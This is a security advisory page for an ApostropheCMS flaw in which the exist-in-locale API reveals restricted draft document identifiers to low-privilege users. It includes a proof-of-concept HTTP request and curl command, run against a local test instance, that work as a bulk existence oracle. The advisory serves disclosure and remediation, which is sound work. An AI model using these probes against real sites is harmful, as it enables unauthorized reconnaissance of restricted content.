CVE-2026-113660: ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers

Published Oct 20, 2026
·
Updated

Summary ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.

Details Exact vulnerable source path: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Exact API route: POST /api/v1/@apostrophecms/i18n/exist-in-locale The handler verifies only that the requester is authenticated:

if (!req.user) { throw self.apos.error('notfound'); } It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:

const found = await self.apos.doc.db.find({ aposLocale: ${locale}:${mode}, aposDocId: { $in: ids.map(self.apos.doc.toAposDocId) } }).project({ id: 1, aposDocId: 1 }).toArray(); This query does not apply:

.permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization

The endpoint accepts multiple IDs, making bulk probing possible.

Proof of Concept

The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID: wv2l4rbaplgzkg80zkne4aoz:en:draft wv2l4rbaplgzkg80zkne4aoz:fr:draft All credentials and cookies are intentionally redacted below.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-guest-session> Content-Type: application/json Accept: application/json

{ "ids": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft", "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft" ], "locale": "fr", "mode": "draft" } Equivalent command curl -i -sS -X POST \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \ -b /path/to/redacted-guest-cookie-jar.txt \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ --data-raw '{ "ids": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft", "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft" ], "locale": "fr", "mode": "draft" }' Observed response HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8

{ "originalLocaleIds": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft" ], "newLocaleIds": [ "wv2l4rbaplgzkg80zkne4aoz:fr:draft" ], "aposDocIds": [ "wv2l4rbaplgzkg80zkne4aoz" ] } The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.

Authorization control Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-guest-session> Accept: application/json

Observed response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": {}, "message": "forbidden" }

This demonstrates the authorization boundary clearly:

| Request | Result | | ----------------------------------------------- | ----------------------------------- | | Normal page API for the restricted draft | 403 Forbidden | | exist-in-locale for the same restricted draft | 200 OK with localized document ID | | exist-in-locale for a nonexistent ID | 200 OK with empty arrays |

Additional impact validation

The behavior was also tested across multiple locale and mode combinations:

| Query | Result | | ----------------------------- | ---------------------------------------------------------- | | locale=fr, mode=draft | Returned wv2l4rbaplgzkg80zkne4aoz:fr:draft | | locale=fr, mode=published | Returned empty arrays because no published fixture existed | | locale=de, mode=draft | Returned empty arrays because no German fixture existed | | Two IDs in one request | Existing ID returned; nonexistent ID omitted |

This confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.

Impact A low-privilege authenticated user can: Probe arbitrary known or guessed document base IDs. Determine whether restricted documents have localized versions. Determine whether unpublished draft versions exist. Identify which locales contain matching records. Obtain exact localized document identifiers. Submit multiple IDs in one request for bulk reconnaissance. The issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.

Recommended remediation Before executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check. The endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.

[[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529)

[[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)

Other sources

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. This issue is fixed in version 4.33.0.

— MITRE

Affected Software

2 affected componentsFixes available
apostrophecms ApostropheCMS<4.33.0
npm/apostrophe<4.33.0
4.33.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/apostrophe to a version that resolves this vulnerability.

    Fixed in 4.33.0
  2. Upgrade

    Upgrade ApostropheCMS to a version that resolves this vulnerability.

    Fixed in 4.33.0

Event History

Oct 20, 2026
CVE Published
via MITRE·05:04 PM
Data Sourced
via MITRE·05:04 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:17 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·06:19 PM
Data Sourced
via GitHub·06:19 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

An authenticated low-privilege ApostropheCMS user can exploit it. The attacker needs access to the exist-in-locale API and does not need user interaction.

2

What information can be exposed?

The API can reveal whether restricted documents exist for a specified locale and mode, including draft mode. It can also return localized document identifiers even when the user lacks document-level view or edit authorization.

3

Are default access controls sufficient to prevent exposure?

No. The issue occurs because exist-in-locale does not apply document-level view or edit authorization criteria, so restricted documents may be discoverable by authenticated low-privilege users.

4

What versions should be remediated?

ApostropheCMS versions before 4.33.0 are affected. Upgrade to version 4.33.0 to obtain the fix.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203